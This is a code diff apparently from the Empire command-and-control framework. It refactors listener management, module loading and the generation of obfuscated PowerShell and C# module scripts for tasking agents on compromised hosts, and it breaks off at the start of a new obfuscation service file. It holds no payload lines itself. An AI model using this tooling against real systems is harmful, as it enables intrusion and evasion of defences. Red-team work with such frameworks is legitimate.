+ @staticmethod
+ def get_all(db: Session) -> List[models.Listener]:
+ return db.query(models.Listener).all()
+
+ @staticmethod
+ def get_by_id(db: Session, uid: int) -> Optional[models.Listener]:
+ return db.query(models.Listener).filter(models.Listener.id == uid).first()
+
+ @staticmethod
+ def get_by_name(db: Session, name: str) -> Optional[models.Listener]:
+ return db.query(models.Listener).filter(models.Listener.name == name).first()
+
+ def get_active_listeners(self):
+ return self._active_listeners
+
+ def get_active_listener(self, id: int):
+ """
+ Get an active listener by id.
+ Note that this is the object instance, NOT the db model.
+ :param id: listener id
+ :return: listener object
+ """
+ return self._active_listeners[id]
+
+ def get_active_listener_by_name(self, name: str):
+ """
+ Get an active listener by name.
+ Note that this is the object instance, NOT the database model.
+ :param name: listener name
+ :return: listener object
+ """
+ for listener in self._active_listeners.values():
+ if listener.options["Name"]["Value"] == name:
+ return listener
+
+ def update_listener(self, db: Session, db_listener: models.Listener, listener_req):
+ if listener_req.name != db_listener.name:
+ if not self.get_by_name(db, listener_req.name):
+ db_listener.name = listener_req.name
+ else:
+ return None, f"Listener with name {listener_req.name} already exists."
+
+ db_listener.enabled = listener_req.enabled
+ template_instance, err = self._validate_listener_options(
+ db_listener.module, listener_req.options
+ )
+
+ if err:
+ return None, err
+
+ db_listener.options = copy.deepcopy(template_instance.options)
+
+ return db_listener, None
+
+ def create_listener(self, db: Session, listener_req):
+ if self.get_by_name(db, listener_req.name):
+ return None, f"Listener with name {listener_req.name} already exists."
+
+ listener_req.options["Name"] = listener_req.name
+
+ template_instance, err = self._validate_listener_options(
+ listener_req.template, listener_req.options
+ )
+
+ if err:
+ return None, err
+
+ db_listener, err = self._start_listener(
+ db, template_instance, listener_req.template
+ )
+
+ if err:
+ return None, err
+
+ hooks.run_hooks(hooks.AFTER_LISTENER_CREATED_HOOK, db, db_listener)
+
+ return db_listener, None
+
+ def stop_listener(self, db_listener: models.Listener):
+ if self._active_listeners.get(db_listener.id):
+ self._active_listeners[db_listener.id].shutdown(name=db_listener.name)
+ del self._active_listeners[db_listener.id]
+
+ def delete_listener(self, db: Session, db_listener: models.Listener):
+ self.stop_listener(db_listener)
+ db.delete(db_listener)
+
+ def shutdown_listeners(self):
+ for key, listener in self._active_listeners.items():
+ listener.shutdown()
+
+ def start_existing_listener(self, db: Session, listener: models.Listener):
+ listener.enabled = True
+
+ options = dict(map(lambda x: (x[0], x[1]["Value"]), listener.options.items()))
+ template_instance, err = self._validate_listener_options(
+ listener.module, options
+ )
+
+ if err:
+ return None, err
+
+ success = template_instance.start(name=listener.name)
+ db.flush()
+
+ if success:
+ self._active_listeners[listener.id] = template_instance
+ log.info(f'Listener "{listener.name}" successfully started')
+ return listener, None
+ else:
+ return None, f'Listener "{listener.name}" failed to start'
+
+ def start_existing_listeners(self):
+ with SessionLocal.begin() as db:
+ listeners = (
+ db.query(models.Listener)
+ .filter(models.Listener.enabled == True) # noqa: E712
+ .all()
+ )
+ for listener in listeners:
+ self.start_existing_listener(db, listener)
+
+ def _start_listener(self, db: Session, template_instance, template_name):
+ category = template_instance.info["Category"]
+ name = template_instance.options["Name"]["Value"]
+ try:
+ log.info(f"v2: Starting listener '{name}'")
+ success = template_instance.start(name=name)
+
+ if success:
+ listener_options = copy.deepcopy(template_instance.options)
+
+ # in a breaking change we could just store a str,str dict for the options.
+ # we don't add the listener to the db unless it successfully starts. Makes it a problem when trying
+ # to split this out.
+ db_listener = models.Listener(
+ name=name,
+ module=template_name,
+ listener_category=category,
+ enabled=True,
+ options=listener_options,
+ )
+
+ db.add(db_listener)
+ db.flush()
+
+ log.info(f'Listener "{name}" successfully started')
+ self._active_listeners[db_listener.id] = template_instance
+
+ return db_listener, None
+ else:
+ msg = f"Failed to start listener '{name}'"
+ log.error(msg)
+ return None, msg
+
+ except Exception as e:
+ msg = f"Failed to start listener '{name}': {e}"
+ log.error(msg)
+ return None, msg
+
+ def _validate_listener_options(
+ self, template: str, params: Dict
+ ) -> Tuple[Optional[Any], Optional[str]]:
+ """
+ Validates the new listener's options. Constructs a new "Listener" object.
+ :param template:
+ :param params:
+ :return: (Listener, error)
+ """
+ if not self.listener_template_service.get_listener_template(template):
+ return None, f"Listener Template {template} not found"
+
+ template_instance = self.listener_template_service.new_instance(template)
+ cleaned_options, err = validate_options(template_instance.options, params)
+
+ if err:
+ return None, err
+
+ revert_options = {}
+ for key, value in template_instance.options.items():
+ revert_options[key] = template_instance.options[key]["Value"]
+ template_instance.options[key]["Value"] = value
+
+ set_options(template_instance, cleaned_options)
+
+ # todo We should update the validate_options method to also return a string error
+ self._normalize_listener_options(template_instance)
+ validated, err = template_instance.validate_options()
+ if not validated:
+ for key, value in revert_options.items():
+ template_instance.options[key]["Value"] = value
+
+ return None, err
+
+ return template_instance, None
+
+ @staticmethod
+ def _normalize_listener_options(instance) -> None:
+ """
+ This is adapted from the old set_listener_option which does some coercions on the http fields.
+ """
+ for option_name, option_meta in instance.options.items():
+ value = option_meta["Value"]
+ # parse and auto-set some host parameters
+ if option_name == "Host":
+ if not value.startswith("http"):
+ parts = value.split(":")
+ # if there's a current ssl cert path set, assume this is https
+ if ("CertPath" in instance.options) and (
+ instance.options["CertPath"]["Value"] != ""
+ ):
+ protocol = "https"
+ default_port = 443
+ else:
+ protocol = "http"
+ default_port = 80
+
+ elif value.startswith("https"):
+ value = value.split("//")[1]
+ parts = value.split(":")
+ protocol = "https"
+ default_port = 443
+
+ elif value.startswith("http"):
+ value = value.split("//")[1]
+ parts = value.split(":")
+ protocol = "http"
+ default_port = 80
+
+ ##################################################################################################################################
+ # Added functionality to Port
+ # Unsure if this section is needed
+ if len(parts) != 1 and parts[-1].isdigit():
+ # if a port is specified with http://host:port
+ instance.options["Host"]["Value"] = "%s://%s" % (protocol, value)
+ if instance.options["Port"]["Value"] == "":
+ instance.options["Port"]["Value"] = parts[-1]
+ elif instance.options["Port"]["Value"] != "":
+ # otherwise, check if the port value was manually set
+ instance.options["Host"]["Value"] = "%s://%s:%s" % (
+ protocol,
+ value,
+ instance.options["Port"]["Value"],
+ )
+ else:
+ # otherwise use default port
+ instance.options["Host"]["Value"] = "%s://%s" % (protocol, value)
+ if instance.options["Port"]["Value"] == "":
+ instance.options["Port"]["Value"] = default_port
+
+ elif option_name == "CertPath" and value != "":
+ instance.options[option_name]["Value"] = value
+ host = instance.options["Host"]["Value"]
+ # if we're setting a SSL cert path, but the host is specific at http
+ if host.startswith("http:"):
+ instance.options["Host"]["Value"] = instance.options["Host"][
+ "Value"
+ ].replace("http:", "https:")
+
+ elif option_name == "Port":
+ instance.options[option_name]["Value"] = value
+ # Check if Port is set and add it to host
+ parts = instance.options["Host"]["Value"]
+ if parts.startswith("https"):
+ address = parts[8:]
+ address = "".join(address.split(":")[0])
+ protocol = "https"
+ instance.options["Host"]["Value"] = "%s://%s:%s" % (
+ protocol,
+ address,
+ instance.options["Port"]["Value"],
+ )
+ elif parts.startswith("http"):
+ address = parts[7:]
+ address = "".join(address.split(":")[0])
+ protocol = "http"
+ instance.options["Host"]["Value"] = "%s://%s:%s" % (
+ protocol,
+ address,
+ instance.options["Port"]["Value"],
+ )
+
+ elif option_name == "StagingKey":
+ # if the staging key isn't 32 characters, assume we're md5 hashing it
+ value = str(value).strip()
+ if len(value) != 32:
+ staging_key_hash = hashlib.md5(value.encode("UTF-8")).hexdigest()
+ log.warning(
+ f"Warning: staging key not 32 characters, using hash of staging key instead: {staging_key_hash}"
+ )
+ instance.options[option_name]["Value"] = staging_key_hash
+ else:
+ instance.options[option_name]["Value"] = str(value)
diff --git a/empire/server/core/listener_template_service.py b/empire/server/core/listener_template_service.py
new file mode 100644
index 000000000..89ba5b891
--- /dev/null
+++ b/empire/server/core/listener_template_service.py
@@ -0,0 +1,78 @@
+import fnmatch
+import importlib.util
+import logging
+import os
+from typing import Optional
+
+from sqlalchemy.orm import Session
+
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+
+log = logging.getLogger(__name__)
+
+
+class ListenerTemplateService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ # loaded listener format:
+ # {"listenerModuleName": moduleInstance, ...}
+ self._loaded_listener_templates = {}
+
+ with SessionLocal.begin() as db:
+ self._load_listener_templates(db)
+
+ def new_instance(self, template: str):
+ instance = type(self._loaded_listener_templates[template])(self.main_menu)
+ for key, value in instance.options.items():
+ if value.get("SuggestedValues") is None:
+ value["SuggestedValues"] = []
+ if value.get("Strict") is None:
+ value["Strict"] = False
+
+ return instance
+
+ def get_listener_template(self, name: str) -> Optional[object]:
+ return self._loaded_listener_templates.get(name)
+
+ def get_listener_templates(self):
+ return self._loaded_listener_templates
+
+ def _load_listener_templates(self, db: Session):
+ """
+ Load listeners from the install + "/listeners/*" path
+ """
+
+ root_path = f"{db.query(models.Config).first().install_path}/listeners/"
+ pattern = "*.py"
+ log.info(f"v2: Loading listener templates from: {root_path}")
+
+ for root, dirs, files in os.walk(root_path):
+ for filename in fnmatch.filter(files, pattern):
+ file_path = os.path.join(root, filename)
+
+ # don't load up any of the templates
+ if fnmatch.fnmatch(filename, "*template.py"):
+ continue
+
+ # extract just the listener module name from the full path
+ listener_name = file_path.split("/listeners/")[-1][0:-3]
+
+ # instantiate the listener module and save it to the internal cache
+ spec = importlib.util.spec_from_file_location(listener_name, file_path)
+ mod = importlib.util.module_from_spec(spec)
+ spec.loader.exec_module(mod)
+ listener = mod.Listener(self.main_menu, [])
+
+ for key, value in listener.options.items():
+ if value.get("SuggestedValues") is None:
+ value["SuggestedValues"] = []
+ if value.get("Strict") is None:
+ value["Strict"] = False
+
+ self._loaded_listener_templates[slugify(listener_name)] = listener
+
+
+def slugify(listener_name: str):
+ return listener_name.lower().replace("/", "_")
diff --git a/empire/server/common/module_models.py b/empire/server/core/module_models.py
similarity index 80%
rename from empire/server/common/module_models.py
rename to empire/server/core/module_models.py
index 8b01b6cb1..3d382eb75 100644
--- a/empire/server/common/module_models.py
+++ b/empire/server/core/module_models.py
@@ -1,7 +1,7 @@
from enum import Enum
from typing import Any, Dict, List, Optional
-from pydantic import BaseModel, validator
+from pydantic import BaseModel
class LanguageEnum(str, Enum):
@@ -10,14 +10,14 @@ class LanguageEnum(str, Enum):
csharp = "csharp"
-class PydanticModuleAdvanced(BaseModel):
+class EmpireModuleAdvanced(BaseModel):
option_format_string: str = '-{{ KEY }} "{{ VALUE }}"'
option_format_string_boolean: str = "-{{ KEY }}"
custom_generate: bool = False
generate_class: Any = None
-class PydanticModuleOption(BaseModel):
+class EmpireModuleOption(BaseModel):
name: str
name_in_code: Optional[str]
description: str = ""
@@ -25,14 +25,23 @@ class PydanticModuleOption(BaseModel):
value: str = ""
suggested_values: List[str] = []
strict: bool = False
+ type: Optional[str]
-class PydanticModule(BaseModel):
+class EmpireModuleAuthor(BaseModel):
name: str
- authors: List[str] = []
+ handle: str
+ link: str
+
+
+class EmpireModule(BaseModel):
+ id: str
+ name: str
+ authors: List[EmpireModuleAuthor] = []
description: str = ""
software: str = ""
techniques: List[str] = []
+ tactics: List[str] = []
background: bool = False
output_extension: Optional[str] = None
needs_admin: bool = False
@@ -40,12 +49,12 @@ class PydanticModule(BaseModel):
language: LanguageEnum
min_language_version: Optional[str]
comments: List[str] = []
- options: List[PydanticModuleOption] = []
+ options: List[EmpireModuleOption] = []
script: Optional[str] = None
script_path: Optional[str] = None
script_end: str = " {{ PARAMS }}"
enabled: bool = True
- advanced: PydanticModuleAdvanced = PydanticModuleAdvanced()
+ advanced: EmpireModuleAdvanced = EmpireModuleAdvanced()
compiler_yaml: Optional[str]
def matches(self, query: str, parameter: str = "any") -> bool:
diff --git a/empire/server/common/modules.py b/empire/server/core/module_service.py
similarity index 62%
rename from empire/server/common/modules.py
rename to empire/server/core/module_service.py
index 56a3a1c33..1ccafc94e 100644
--- a/empire/server/common/modules.py
+++ b/empire/server/core/module_service.py
@@ -1,73 +1,102 @@
-"""
-Module handling functionality for Empire.
-"""
-from __future__ import absolute_import, print_function
-
-import base64
import fnmatch
import importlib.util
+import logging
import os
-import pathlib
-from builtins import object
-from os import path
-from typing import Dict, Optional, Tuple
+from typing import Dict, List, Optional, Tuple
import yaml
-from sqlalchemy import and_
+from sqlalchemy.orm import Session
-from empire.server.common.config import empire_config
+from empire.server.api.v2.module.module_dto import (
+ ModuleBulkUpdateRequest,
+ ModuleUpdateRequest,
+)
+from empire.server.common import helpers
from empire.server.common.converter.load_covenant import _convert_covenant_to_empire
-from empire.server.common.hooks import hooks
-from empire.server.common.module_models import LanguageEnum, PydanticModule
-from empire.server.database import models
-from empire.server.database.base import Session
-from empire.server.utils import data_util
-from empire.server.utils.module_util import handle_error_message
-
-from . import helpers
+from empire.server.core.config import empire_config
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+from empire.server.core.module_models import EmpireModule, LanguageEnum
+from empire.server.core.obfuscation_service import ObfuscationService
+from empire.server.utils.option_util import convert_module_options, validate_options
+log = logging.getLogger(__name__)
-class Modules(object):
- def __init__(self, main_menu, args):
+class ModuleService(object):
+ def __init__(self, main_menu):
self.main_menu = main_menu
- self.args = args
+ self.obfuscation_service: ObfuscationService = main_menu.obfuscationv2
- self.modules: Dict[str, PydanticModule] = {}
+ self.modules = {}
- self._load_modules()
+ with SessionLocal.begin() as db:
+ self._load_modules(db)
- def get_module(self, module_name: str) -> Optional[PydanticModule]:
- """
- Get a loaded module from in memory
- :param module_name: name
- :return: Optional[PydanticModule]
- """
- return self.modules.get(module_name)
+ def get_all(self):
+ return self.modules
+
+ def get_by_id(self, uid: str):
+ return self.modules.get(uid)
+
+ def update_module(
+ self, db: Session, module: EmpireModule, module_req: ModuleUpdateRequest
+ ):
+ db_module: models.Module = (
+ db.query(models.Module).filter(models.Module.id == module.id).first()
+ )
+ db_module.enabled = module_req.enabled
+
+ self.modules.get(module.id).enabled = module_req.enabled
+
+ def update_modules(self, db: Session, module_req: ModuleBulkUpdateRequest):
+ db_modules: List[models.Module] = (
+ db.query(models.Module)
+ .filter(models.Module.id.in_(module_req.modules))
+ .all()
+ )
+
+ for db_module in db_modules:
+ db_module.enabled = module_req.enabled
+
+ for db_module in db_modules:
+ self.modules.get(db_module.id).enabled = module_req.enabled
def execute_module(
- self, module: PydanticModule, params: Dict, user_id: int
+ self,
+ db: Session,
+ agent: models.Agent,
+ module_id: str,
+ params: Dict,
+ ignore_language_version_check: bool = False,
+ ignore_admin_check: bool = False,
) -> Tuple[Optional[Dict], Optional[str]]:
"""
- Execute the module.
- :param module: PydanticModule
+ Execute the module. Note this doesn't actually add the task to the queue,
+ it only generates the module data needed for a task to be created.
+ :param module_id: str
:param params: the execution parameters
:param user_id: the user executing the module
:return: tuple with the response and an error message (if applicable)
"""
+ module = self.get_by_id(module_id)
+
+ if not module:
+ return None, f"Module not found for id {module_id}"
if not module.enabled:
return None, "Cannot execute disabled module"
- cleaned_options, err = self._validate_module_params(module, params)
+ cleaned_options, err = self._validate_module_params(
+ module, agent, params, ignore_language_version_check, ignore_admin_check
+ )
if err:
return None, err
module_data = self._generate_script(
+ db,
module,
cleaned_options,
- self.main_menu.obfuscate,
- self.main_menu.obfuscateCommand,
)
if isinstance(module_data, tuple):
(module_data, err) = module_data
@@ -78,11 +107,9 @@ def execute_module(
if not module_data or module_data == "":
return None, err or "module produced an empty script"
if not module_data.isascii():
- print(
- helpers.color(
- "[!] Warning: module source contains non-ascii characters"
- )
- )
+ # This previously returned 'None, 'module source contains non-ascii characters'
+ # Was changed in 4.3 to print a warning.
+ log.warning(f"Module source for {module_id} contains non-ascii characters")
if module.language == LanguageEnum.powershell:
module_data = helpers.strip_powershell_comments(module_data)
@@ -90,20 +117,10 @@ def execute_module(
if module.language == LanguageEnum.python:
module_data = helpers.strip_python_comments(module_data)
- # check if module is external
- if "Agent" not in params.keys():
- msg = f"tasked external module: {module.name}"
- # return success but no task_id for external modules
- return {"success": True, "taskID": None, "msg": msg}, None
-
- # get session_id from params and agent
- session_id = params["Agent"]
- agent = self.main_menu.agents.get_agent_from_name_or_session_id(session_id)
-
+ task_command = ""
if agent.language != "ironpython" or (
agent.language == "ironpython" and module.language == "python"
):
- task_command = ""
if module.language == LanguageEnum.csharp:
task_command = "TASK_CSHARP"
# build the appropriate task command and module data blob
@@ -167,215 +184,98 @@ def execute_module(
elif agent.language == "ironpython" and module.language == "csharp":
task_command = "TASK_CSHARP"
- # set the agent's tasking in the cache
- task_id = self.main_menu.agents.add_agent_task_db(
- session_id, task_command, module_data, module_name=module.name, uid=user_id
- )
-
- task = (
- Session()
- .query(models.Tasking)
- .filter(
- and_(
- models.Tasking.id == task_id, models.Tasking.agent_id == session_id
- )
- )
- .first()
- )
- hooks.run_hooks(hooks.AFTER_TASKING_HOOK, task)
-
- # update the agent log
- msg = f"tasked agent {session_id} to run module {module.name}"
- self.main_menu.agents.save_agent_log(session_id, msg)
-
- if empire_config.modules.retain_last_value:
- self._set_default_values(module, cleaned_options)
-
- return {"success": True, "taskID": task_id, "msg": msg}, None
-
- def get_module_source(
- self, module_name: str, obfuscate: bool = False, obfuscate_command: str = ""
- ) -> Tuple[Optional[str], Optional[str]]:
- """
- Get the obfuscated/unobfuscated module source code.
- """
- try:
- if obfuscate:
- obfuscated_module_source = (
- empire_config.directories.obfuscated_module_source
- )
- module_path = os.path.join(obfuscated_module_source, module_name)
- # If pre-obfuscated module exists then return code
- if os.path.exists(module_path):
- with open(module_path, "r") as f:
- obfuscated_module_code = f.read()
- return obfuscated_module_code, None
-
- # If pre-obfuscated module does not exist then generate obfuscated code and return it
- else:
- module_source = empire_config.directories.module_source
- module_path = os.path.join(module_source, module_name)
- with open(module_path, "r") as f:
- module_code = f.read()
- obfuscated_module_code = data_util.obfuscate(
- installPath=self.main_menu.installPath,
- psScript=module_code,
- obfuscationCommand=obfuscate_command,
- )
- return obfuscated_module_code, None
-
- # Use regular/unobfuscated code
- else:
- module_source = empire_config.directories.module_source
- module_path = os.path.join(module_source, module_name)
- with open(module_path, "r") as f:
- module_code = f.read()
- return module_code, None
- except:
- return None, f"[!] Could not read module source path at: {module_source}"
-
- def finalize_module(
- self,
- script: str,
- script_end: str,
- obfuscate: bool = False,
- obfuscation_command: str = "",
- ) -> str:
- """
- Combine script and script end with obfuscation if needed.
- """
- if obfuscate:
- script_end = data_util.obfuscate(
- self.main_menu.installPath,
- psScript=script_end,
- obfuscationCommand=obfuscation_command,
- )
- script += "\n" + script_end
- script = data_util.keyword_obfuscation(script)
- return script
-
- @staticmethod
- def change_module_state(main, module_list: list, module_state: bool):
- for module_name in module_list:
- try:
- module = (
- Session()
- .query(models.Module)
- .filter(models.Module.name == module_name)
- .first()
- )
- module.enabled = module_state
- main.modules.modules[module_name].enabled = module_state
- except:
- # skip if module name is not found
- pass
- Session().commit()
+ return {"command": task_command, "data": module_data}, None
def _validate_module_params(
- self, module: PydanticModule, params: Dict[str, str]
+ self,
+ module: EmpireModule,
+ agent: models.Agent,
+ params: Dict[str, str],
+ ignore_language_version_check: bool = False,
+ ignore_admin_check: bool = False,
) -> Tuple[Optional[Dict[str, str]], Optional[str]]:
"""
Given a module and execution params, validate the input and return back a clean Dict for execution.
- :param module: PydanticModule
+ :param module: EmpireModule
:param params: the execution parameters
:return: tuple with options and the error message (if applicable)
"""
- options = {}
-
- for option in module.options:
- if option.name in params:
- if option.strict and params[option.name] not in option.suggested_values:
- return (
- None,
- f"{option.name} must be set to one of the suggested values.",
- )
- if option.name_in_code:
- options[option.name_in_code] = params[option.name]
- else:
- options[option.name] = params[option.name]
- elif option.required:
- return None, f"required module option missing: {option.name}"
-
- if module.name == "generate_agent":
- return options, None
-
- session_id = params["Agent"]
- agent = self.main_menu.agents.get_agent_db(session_id)
-
- if not self.main_menu.agents.is_agent_present(session_id):
- return None, "invalid agent name"
-
- if not agent:
- return None, "invalid agent name"
-
- module_version = (module.min_language_version or "0").split(".")
- agent_version = (agent.language_version or "0").split(".")
- # makes sure the version is the right format: "x.x"
- if len(agent_version) == 1:
- agent_version.append(0)
- if len(module_version) == 1:
- module_version.append(0)
- # check if the agent/module PowerShell versions are compatible
- if (int(module_version[0]) > int(agent_version[0])) or (
- (int(module_version[0])) == int(agent_version[0])
- and int(module_version[1]) > int(agent_version[1])
- ):
- return (
- None,
- f"module requires PS version {module_version} but agent running PS version {agent_version}",
- )
+ converted_options = convert_module_options(module.options)
+ options, err = validate_options(converted_options, params)
+
+ if err:
+ return None, err
+
+ if not ignore_language_version_check:
+ module_version = (module.min_language_version or "0").split(".")
+ agent_version = (agent.language_version or "0").split(".")
+ # makes sure the version is the right format: "x.x"
+ if len(agent_version) == 1:
+ agent_version.append(0)
+ if len(module_version) == 1:
+ module_version.append(0)
+ # check if the agent/module PowerShell versions are compatible
+ if (int(module_version[0]) > int(agent_version[0])) or (
+ (int(module_version[0])) == int(agent_version[0])
+ and int(module_version[1]) > int(agent_version[1])
+ ):
+ return (
+ None,
+ f"module requires language version {module.min_language_version} but agent running language version {agent.language_version}",
+ )
- if module.needs_admin:
+ if module.needs_admin and not ignore_admin_check:
# if we're running this module for all agents, skip this validation
if not agent.high_integrity:
return None, "module needs to run in an elevated context"
return options, None
- @staticmethod
- def _set_default_values(module: PydanticModule, params: Dict):
- """
- Change the default values for the module loaded into memory.
- This is to retain the old empire behavior (and the behavior of stagers and listeners).
- :param module:
- :param params: cleaned param dictionary
- :return:
- """
- for option in module.options:
- if params.get(option.name):
- option.value = params[option.name]
-
def _generate_script(
self,
- module: PydanticModule,
+ db: Session,
+ module: EmpireModule,
params: Dict,
- obfuscate=False,
- obfuscate_command="",
+ obfuscation_config: models.ObfuscationConfig = None,
) -> Tuple[Optional[str], Optional[str]]:
"""
Generate the script to execute
:param module: the execution parameters (already validated)
:param params: the execution parameters
- :param obfuscate:
- :param obfuscate_command:
+ :param obfuscation_config: the obfuscation config. If not provided, will look up from the db.
:return: tuple containing the generated script and an error if it exists
"""
- if module.advanced.custom_generate:
- return module.advanced.generate_class.generate(
- self.main_menu, module, params, obfuscate, obfuscate_command
+ if not obfuscation_config:
+ obfuscation_config = self.obfuscation_service.get_obfuscation_config(
+ db, module.language
)
+
+ if module.advanced.custom_generate:
+ # In a future release we could refactor the modules to accept a obuscation_config,
+ # but there's little benefit to doing so at this point. So I'm saving myself the pain.
+ try:
+ return module.advanced.generate_class.generate(
+ self.main_menu,
+ module,
+ params,
+ obfuscation_config.enabled,
+ obfuscation_config.command,
+ )
+ except Exception as e:
+ log.error(f"Error generating script: {e}", exc_info=True)
+ return None, "Error generating script."
elif module.language == LanguageEnum.powershell:
- return self._generate_script_powershell(
- module, params, obfuscate, obfuscate_command
- )
+ return self._generate_script_powershell(module, params, obfuscation_config)
+ # We don't have obfuscation for other languages yet, but when we do,
+ # we can pass it in here.
elif module.language == LanguageEnum.python:
return self._generate_script_python(module, params)
elif module.language == LanguageEnum.csharp:
- return self._generate_script_csharp(module, params)
+ return self._generate_script_csharp(module, params, obfuscation_config)
@staticmethod
def _generate_script_python(
- module: PydanticModule, params: Dict
+ module: EmpireModule, params: Dict
) -> Tuple[Optional[str], Optional[str]]:
if module.script_path:
script_path = os.path.join(
@@ -397,11 +297,13 @@ def _generate_script_python(
def _generate_script_powershell(
self,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
- obfuscate=False,
- obfuscate_command="",
+ obfuscaton_config: models.ObfuscationConfig,
) -> Tuple[Optional[str], Optional[str]]:
+ obfuscate = obfuscaton_config.enabled
+ obfuscate_command = obfuscaton_config.command
+
if module.script_path:
script, err = self.get_module_source(
module_name=module.script_path,
@@ -413,10 +315,8 @@ def _generate_script_powershell(
return None, err
else:
if obfuscate:
- script = data_util.obfuscate(
- installPath=self.main_menu.installPath,
- psScript=module.script,
- obfuscationCommand=obfuscate_command,
+ script = self.obfuscation_service.obfuscate(
+ module.script, obfuscate_command
)
else:
script = module.script
@@ -469,15 +369,17 @@ def _generate_script_powershell(
return script, None
def _generate_script_csharp(
- self, module: PydanticModule, params: Dict
+ self,
+ module: EmpireModule,
+ params: Dict,
+ obfuscation_config: models.ObfuscationConfig,
) -> Tuple[Optional[str], Optional[str]]:
try:
- compiler = self.main_menu.loadedPlugins.get("csharpserver")
+ compiler = self.main_menu.pluginsv2.get_by_id("csharpserver")
if not compiler.status == "ON":
return None, "csharpserver plugin not running"
- # hardcoded to true for testing will need to pull from menu options
file_name = compiler.do_send_message(
- module.compiler_yaml, module.name, confuse=self.main_menu.obfuscate
+ module.compiler_yaml, module.name, confuse=obfuscation_config.enabled
)
if file_name == "failed":
return None, "module compile failed"
@@ -499,20 +401,16 @@ def _generate_script_csharp(
return f"{script_file}|{param_string}", None
except Exception as e:
- print(e)
- msg = f"[!] Compile Error"
- print(helpers.color(msg))
- return None, msg
+ log.error(f"dotnet compile error: {e}")
+ return None, "dotnet compile error"
- def _load_modules(self, root_path=""):
+ def _load_modules(self, db: Session):
"""
- Load Empire modules from a specified path, default to
- installPath + "/modules/*"
+ Load Empire modules.
"""
- if root_path == "":
- root_path = f"{self.main_menu.installPath}/modules/"
+ root_path = f"{db.query(models.Config).first().install_path}/modules/"
- print(helpers.color(f"[*] Loading modules from: {root_path}"))
+ log.info(f"v2: Loading modules from: {root_path}")
for root, dirs, files in os.walk(root_path):
for filename in files:
@@ -539,35 +437,31 @@ def _load_modules(self, root_path=""):
for k, v in covenant_module.items()
if v is not None
}
- self._load_module(yaml_module, root_path, file_path)
+ self._load_module(db, yaml_module, root_path, file_path)
else:
yaml2 = yaml.safe_load(stream)
yaml_module = {
k: v for k, v in yaml2.items() if v is not None
}
- self._load_module(yaml_module, root_path, file_path)
+ self._load_module(db, yaml_module, root_path, file_path)
except Exception as e:
- print(f"Error loading module {filename}: {e}")
+ log.error(f"Error loading module {filename}: {e}")
- Session().commit()
-
- def _load_module(self, yaml_module, root_path, file_path: str):
+ def _load_module(self, db: Session, yaml_module, root_path, file_path: str):
# extract just the module name from the full path
module_name = file_path.split(root_path)[-1][0:-5]
- # if root_path != f"{self.main_menu.installPath}/modules/":
- # module_name = f"external/{module_name}"
-
if file_path.lower().endswith(".covenant.yaml"):
- my_model = PydanticModule(
- **_convert_covenant_to_empire(yaml_module, file_path)
- )
- module_name = f"{module_name[:-9]}/{my_model.name}"
+ cov_yaml_module = _convert_covenant_to_empire(yaml_module, file_path)
+ module_name = f"{module_name[:-9]}/{cov_yaml_module['name']}"
+ cov_yaml_module["id"] = self.slugify(module_name)
+ my_model = EmpireModule(**cov_yaml_module)
else:
- my_model = PydanticModule(**yaml_module)
+ yaml_module["id"] = self.slugify(module_name)
+ my_model = EmpireModule(**yaml_module)
if my_model.advanced.custom_generate:
- if not path.exists(file_path[:-4] + "py"):
+ if not os.path.exists(file_path[:-4] + "py"):
raise Exception("No File to use for custom generate.")
spec = importlib.util.spec_from_file_location(
module_name + ".py", file_path[:-5] + ".py"
@@ -576,7 +470,7 @@ def _load_module(self, yaml_module, root_path, file_path: str):
spec.loader.exec_module(imp_mod)
my_model.advanced.generate_class = imp_mod.Module()
elif my_model.script_path:
- if not path.exists(
+ if not os.path.exists(
os.path.join(
empire_config.directories.module_source,
my_model.script_path,
@@ -592,16 +486,79 @@ def _load_module(self, yaml_module, root_path, file_path: str):
"Must provide a valid script, script_path, or custom generate function"
)
- mod = (
- Session()
- .query(models.Module)
- .filter(models.Module.name == module_name)
- .first()
- )
+ mod = db.query(models.Module).filter(models.Module.id == my_model.id).first()
if not mod:
- mod = models.Module(name=module_name, enabled=True)
- Session().add(mod)
+ mod = models.Module(
+ id=my_model.id,
+ name=module_name,
+ enabled=True,
+ tactic=my_model.tactics,
+ technique=my_model.techniques,
+ software=my_model.software,
+ )
+ db.add(mod)
- self.modules[module_name] = my_model
- self.modules[module_name].enabled = mod.enabled
+ self.modules[self.slugify(module_name)] = my_model
+ self.modules[self.slugify(module_name)].enabled = mod.enabled
+
+ def get_module_source(
+ self, module_name: str, obfuscate: bool = False, obfuscate_command: str = ""
+ ) -> Tuple[Optional[str], Optional[str]]:
+ """
+ Get the obfuscated/unobfuscated module source code.
+ """
+ try:
+ if obfuscate:
+ obfuscated_module_source = (
+ empire_config.directories.obfuscated_module_source
+ )
+ module_path = os.path.join(obfuscated_module_source, module_name)
+ # If pre-obfuscated module exists then return code
+ if os.path.exists(module_path):
+ with open(module_path, "r") as f:
+ obfuscated_module_code = f.read()
+ return obfuscated_module_code, None
+
+ # If pre-obfuscated module does not exist then generate obfuscated code and return it
+ else:
+ module_source = empire_config.directories.module_source
+ module_path = os.path.join(module_source, module_name)
+ with open(module_path, "r") as f:
+ module_code = f.read()
+ obfuscated_module_code = self.obfuscation_service.obfuscate(
+ module_code, obfuscate_command
+ )
+ return obfuscated_module_code, None
+
+ # Use regular/unobfuscated code
+ else:
+ module_source = empire_config.directories.module_source
+ module_path = os.path.join(module_source, module_name)
+ with open(module_path, "r") as f:
+ module_code = f.read()
+ return module_code, None
+ except Exception:
+ return None, f"[!] Could not read module source path at: {module_source}"
+
+ def finalize_module(
+ self,
+ script: str,
+ script_end: str,
+ obfuscate: bool = False,
+ obfuscation_command: str = "",
+ ) -> str:
+ """
+ Combine script and script end with obfuscation if needed.
+ """
+ if obfuscate:
+ script_end = self.obfuscation_service.obfuscate(
+ script_end, obfuscation_command
+ )
+ script += script_end
+ script = self.obfuscation_service.obfuscate_keywords(script)
+ return script
+
+ @staticmethod
+ def slugify(module_name: str):
+ return module_name.lower().replace("/", "_")
diff --git a/empire/server/core/obfuscation_service.py b/empire/server/core/obfuscation_service.py
new file mode 100644
index 000000000..cfdcdb689
--- /dev/null
+++ b/empire/server/core/obfuscation_service.py
@@ -0,0 +1,241 @@
+import fnmatch
+import logging
+import os
+import subprocess
+import tempfile
